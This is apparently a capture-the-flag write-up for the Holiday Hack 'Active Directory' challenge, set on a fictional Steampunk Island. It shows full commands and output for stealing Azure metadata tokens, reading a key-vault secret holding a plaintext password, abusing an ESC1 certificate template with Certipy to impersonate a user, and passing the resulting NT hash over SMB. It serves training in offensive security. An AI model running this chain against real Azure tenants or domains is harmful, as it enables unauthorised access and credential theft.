Geography

Getting To

The only objective in my badge right now mentions looking for Ribb Bonbowford on Steampunk Island, so I’ll travel around until I find Coggoggle Marina:

image-20240103165805110

Location Layout

The Goose of Steampunk Island is hanging out here, as well as Ribb Bonbowford, and the annual cameo from Jason as a not dead fish:

image-20231222173427767Click for full size image

Jason makes it very clear he’s doing well, despite appearances:

Jason

Jason

Hi, I’m Jason!

I’m not dead.

I’m just soaking up the sun’s gnarly vibes, bro!

Active Directory

Challenge

The challenge in the badge gives a starting place:

image-20240103170142137

Ribb Bonbowfort introduces themself and requests help with the Active Directory server:

Ribb Bonbowford

Ribb Bonbowford

Hello, I’m Ribb Bonbowford. Nice to meet you!

Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.

Don’t get me wrong, I’m all for testing new technologies. The problem is that Alabaster didn’t review the generated code and used the Geese Islands Azure production environment for his testing.

I’m worried because our Active Directory server is hosted there and Wombley Cube’s research department uses one of its fileshares to store their sensitive files.

I’d love for you to help with auditing our Azure and Active Directory configuration and ensure there’s no way to access the research department’s data.

Since you have access to Alabaster’s SSH account that means you’re already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

Domain Credentials

Identify Vaults

I’ll request a token from the VM from SSHenanigans just like before:

oxdf@hacky$ ssh -i admin alabaster@ssh-server-vm.santaworkshopgeeseislands.org
alabaster@ssh-server-vm:~$ curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true | jq .
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDM0MTYzMTIsIm5iZiI6MTcwMzQxNjMxMiwiZXhwIjoxNzAzNTAzMDEyLCJhaW8iOiJFMlZnWUZpamV6YnFoTWtmT1YxT3l5ZGZJbmN6QWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJQV1Eydjk4dHIweVliRUFjSmFqVkF3IiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.aeLh9MijxYGH3dEE1rEJP_xzh9NfsUUrZzBRvj0BWCmS_IZGBHlI2GycYglAIziH1b7zpiO47a-NKnhNS84lqN2beokhxAzG4S-LvIZqglRRx_naloaPxAcMW4HydLNS2MVg5SC9U0GlERTQLeIgvwdNSgcNRRV5Z4hISbf0rZO6VPHbgeqCpRwiLY58nNUUA84jBQ9D7Cga8WTsru9TtpLmgmKXDPxFncLEzp_BLAIz5A3Y7mqeWn3gKmJuWp57HEN-3JwQ4dkRaCe_TiKsNcJPee-ks3QTI8vnjsAch1DYiGtE9qkH6sYQ0AGvFvht7ljcusnoqEcISyY75pYE9g",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "83841",
  "expires_on": "1703503012",
  "ext_expires_in": "86399",
  "not_before": "1703416312",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

Using that, I’ll try more Azure API queries to enumerate the domain. My first thought was to list domains associated with the account, but it returns an empty list ([]). There’s another API to list resources that returns two key vault objects:

oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    }
  ]
}

I’ll use this API to list information about each vault:

oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
  "name": "northpole-it-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-10-30T13:17:02.532Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-10-30T13:17:02.532Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "Standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [],
    "enabledForDeployment": false,
    "enabledForDiskEncryption": false,
    "enabledForTemplateDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "enableRbacAuthorization": true,
    "vaultUri": "https://northpole-it-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}
oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2022-07-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
  "name": "northpole-ssh-certs-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "thomas@sanshhc.onmicrosoft.com",
    "createdByType": "User",
    "createdAt": "2023-11-12T01:47:13.059Z",
    "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-11-12T01:50:52.742Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
        "permissions": {
          "keys": [
            "all"
          ],
          "secrets": [
            "all"
          ],
          "certificates": [
            "all"
          ],
          "storage": [
            "all"
          ]
        }
      },
      {
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
        "permissions": {
          "secrets": [
            "get"
          ]
        }
      }
    ],
    "enabledForDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

There are two vaults, with urls:

  • https://northpole-it-kv.vault.azure.net/
  • https://northpole-ssh-certs-kv.vault.azure.net/

Access Vaults

To list secrets in a vault, I’ll visit the URL plus /secrets. It requires the token, and the token I’ve been using doesn’t work here:

oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -s | jq .
{
  "error": {
    "code": "Unauthorized",
    "message": "AKV10000: Request is missing a Bearer or PoP token."
  }
}
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "error": {
    "code": "Unauthorized",
    "message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
  }
}

When I create the token, I have to give a resource. I’ll request a new token and this time specify the new URL from the error message:

alabaster@ssh-server-vm:~$ curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' HTTP/1.1 Metadata: true | jq .
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDM0NTA2NjEsIm5iZiI6MTcwMzQ1MDY2MSwiZXhwIjoxNzAzNTM3MzYxLCJhaW8iOiJFMlZnWUhEVjhtREludnlCeDg3dFVoWFBRZEUwQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiMlJVcHpxVE5lRUtMVEM4akMxRWpBdyIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.mAlMpF_qAgBY7yJq2sKVcIVyZ2riBqZgnbPR3JIvdVZtcnmKiAgL-n_aN2IptfCei011D1ra8XvPzdNtwWo1plVJR0VxZha9J2_K28oltFrOwjsqCSrsftE1L2U2hLKnGGc2-rS0e_E_k1-XrRr_QBOVJ3fI2SGPuAkYSWOQ7SPwRWcCfqxGfJF7c5vFu_wPb8G9FP0p0QvON70bDBzuUFhrj5t0otiQTPZjfH7FClOT6hSOe7JYqv9Vsu5kmQOF0t-v4u2c4k4okaVvVDyWc051_K_-EmJI_mc4ADoPTyDdoBtRl96qpczKYfAe1kpp4_WKA8KdtUMGiBDLuqsPpg",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "85997",
  "expires_on": "1703537361",
  "ext_expires_in": "86399",
  "not_before": "1703450661",
  "resource": "https://vault.azure.net",
  "token_type": "Bearer"
}

I can’t access the ssh-certs one, but the it one has a secret:

oxdf@blake:~$ curl https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "error": {
    "code": "Forbidden",
    "message": "The user, group or application 'appid=b84e06d3-aba1-4bcc-9626-2e0d76cba2ce;oid=600a3bc8-7e2c-44e5-8a27-18c3eb963060;iss=https://sts.windows.net/90a38eda-4006-4dd5-924c-6ca55cacc14d/' does not have secrets list permission on key vault 'northpole-ssh-certs-kv;location=eastus'. For help resolving this issue, please see https://go.microsoft.com/fwlink/?linkid=2125287",
    "innererror": {
      "code": "AccessDenied"
    }
  }
}
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}

I’ll get that secret:

oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

It’s a PowerShell script that cleans up to:

Import-Module ActiveDirectory;
$UserName = "elfy";
$UserDomain = "northpole.local"; 
$UserUPN = "$UserName@$UserDomain"; 
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force; 
$DCIP = "10.0.0.53"; 
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

This script provides the DC IP, as well as a username and password.

SMB as elfy

Basic Access

The VM has the Impacket examples, which includes smbclient.py. I’ll use that to connect to the DC SMB:

alabaster@ssh-server-vm:~$ smbclient.py -dc-ip 10.0.0.53 -target-ip 10.0.0.53 'elfy:J4`ufC49/J4766@northpole.local'
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# 

From here, I can list the shares:

# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL

I’m not able to access the first three admin shares. NETLOGON is empty. I’ll look at SYSVOL and FileShare in more detail.

SYSVOL

SYSVOL has a bunch of folders. The only things slightly of interest (and not important to this challenge) is in the /northpole.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/machine/Microsoft/Windows NT/SecEdit directory, which has a GptTmpl.inf file:

[Unicode]
Unicode=yes
[System Access]
MinimumPasswordAge = 1
MaximumPasswordAge = 42
MinimumPasswordLength = 7
PasswordComplexity = 1
PasswordHistorySize = 24
LockoutBadCount = 0
RequireLogonToChangePassword = 0
ForceLogoffWhenHourExpire = 0
ClearTextPassword = 0
LSAAnonymousNameLookup = 0
[Kerberos Policy]
MaxTicketAge = 10
MaxRenewAge = 7
MaxServiceAge = 600
MaxClockSkew = 5
TicketValidateClient = 1
[Registry Values]
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
[Version]
signature="$CHICAGO$"
Revision=1

There’s a similar one in the other policy at /northpole.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf:

[Unicode]
Unicode=yes
[Registry Values]
MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity=4,1
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature=4,1
[Privilege Rights]
SeAssignPrimaryTokenPrivilege = *S-1-5-20,*S-1-5-19
SeAuditPrivilege = *S-1-5-20,*S-1-5-19
SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeChangeNotifyPrivilege = *S-1-5-32-554,*S-1-5-11,*S-1-5-32-544,*S-1-5-20,*S-1-5-19,*S-1-1-0
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeIncreaseBasePriorityPrivilege = *S-1-5-90-0,*S-1-5-32-544
SeIncreaseQuotaPrivilege = *S-1-5-32-544,*S-1-5-20,*S-1-5-19
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeMachineAccountPrivilege = *S-1-5-11
SeNetworkLogonRight = *S-1-5-32-554,*S-1-5-9,*S-1-5-11,*S-1-5-32-544,*S-1-1-0
SeProfileSingleProcessPrivilege = *S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeShutdownPrivilege = *S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSystemEnvironmentPrivilege = *S-1-5-32-544
SeSystemProfilePrivilege = *S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,*S-1-5-32-544
SeSystemTimePrivilege = *S-1-5-32-549,*S-1-5-32-544,*S-1-5-19
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeUndockPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
[Version]
signature="$CHICAGO$"
Revision=1

FileShare

FileShare is the share that’s mentioned in the badge objective, specifically “the inaccessible folder”. It’s not yet clear what that means, but I’ll access it to see:

# use fileshare
# ls
drw-rw-rw-          0  Tue Dec 26 01:16:05 2023 .
drw-rw-rw-          0  Tue Dec 26 01:16:01 2023 ..
-rw-rw-rw-     701028  Tue Dec 26 01:16:05 2023 Cookies.pdf
-rw-rw-rw-    1521650  Tue Dec 26 01:16:05 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Tue Dec 26 01:16:05 2023 SignatureCookies.pdf
drw-rw-rw-          0  Tue Dec 26 01:16:05 2023 super_secret_research
-rw-rw-rw-        165  Tue Dec 26 01:16:05 2023 todo.txt

There’s a couple nice recipes, as well as a todo.txt:

# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

The to-do list mentions locking down access to super_secret_research. The elfy user can’t access it:

# cd super_secret_research
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

Abuse ADCS

Background

Attacks on Active Directory Certificate Services ADCS have been very popular for the last couple years, since SpecterOps released their Certifies Pre-Owned research. My favorite tool for enumerating ADCS is a Python-based tool, Certipy, which happens to be installed on the VM:

alabaster@ssh-server-vm:~$ which certipy
/home/alabaster/.venv/bin/certipy

Identify Vulnerable Template

The first certipy command I’ll use is find, with flags to show only vulnerable templates and show them as text to stdout:

alabaster@ssh-server-vm:~$ certipy find -u elfy -p 'J4`ufC49/J4766' -target 10.0.0.53 -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 1A1C4055F96FB8B542EE4B1FDF81A248
    Certificate Validity Start          : 2023-12-26 01:08:06+00:00
    Certificate Validity End            : 2028-12-26 01:18:05+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

The identified template is vulnerable to the ESC1 attack, where the enrollee can supply the subject they want a certificate for, and all domain users can enroll. I’ll note the certificate authority (CA) name, northpole-npdc01-CA, and the name of the vulnerable template, NorthPoleUsers.

Enumerate Domain Users

I can try to get a certificate for the administrator user on the domain, but in this case that user doesn’t exist. To figure out which user to impersonate, I’ll use the GetADUser.py Impacket script to list all the users:

alabaster@ssh-server-vm:~$ GetADUsers.py 'northpole.local/elfy:J4`ufC49/J4766' -dc-ip 10.0.0.53 -all
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-25 17:04:11.253583  2023-12-26 12:40:16.002390
Guest                                                 <never>              <never>
krbtgt                                                2023-12-26 01:12:37.762135  <never>
elfy                                                  2023-12-26 01:15:09.972232  2023-12-26 17:38:32.734116
wombleycube                                           2023-12-26 01:15:10.081640  2023-12-26 17:42:37.934752

Given that Ribb suggested this was “Wombley Cube’s research department” using this share, wombleycube seems like a good user to target.

Auth as wombleycube

I’ll use the req (for request) command in certipy to request a certificate for wombleycube. -upn specifies the user I want the certificate for. I’ll also need to give it the CA and template names:

alabaster@ssh-server-vm:~$ certipy req -u elfy -p 'J4`ufC49/J4766' -target 10.0.0.53 -upn wombleycube@northpole.local -ca northpole-npdc01-CA -template NorthPoleUsers
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 52
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

This command saves the certificate and private key to a file. I’ll use that file with the auth command to get the LM/NTLM hashes for the account:

alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

SMB as wombleyube

The NTLM hash is all that’s needed to connect to SMB using smbclient.py:

alabaster@ssh-server-vm:~$ smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 -target-ip 10.0.0.53 wombleycube@northpole.local
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# 

Now I have access to super_secret_research:

# use FileShare
# cd super_secret_research/
# ls
drw-rw-rw-          0  Tue Dec 26 01:16:05 2023 .
drw-rw-rw-          0  Tue Dec 26 01:16:05 2023 ..
-rw-rw-rw-        231  Tue Dec 26 01:16:05 2023 InstructionsForEnteringSatelliteGroundStation.txt

The flag is InstructionsForEnteringSatelliteGroundStation.txt. The file has information that will be necessary later:

Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Epilogue

Ribb is impressed with my work:

Ribb Bonbowford

Ribb Bonbowford

Wow, nice work. I’m impressed!

This is all starting to feel like more than just a coincidence though. Everything Alabaster’s been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.

Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It’s just a machine. But I wonder who could have built it and who is controlling it?

On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.

Well, I guess it’s probably somewhere on Space Island, but I’ve not been there yet.

I’m not a big fan of jungles, you see. I have this tendency to get lost in them.

Anyway, if you feel like investigating, that’d be where I’d go look.

Good luck and I’d try and steer clear of ChatNPT if I were you.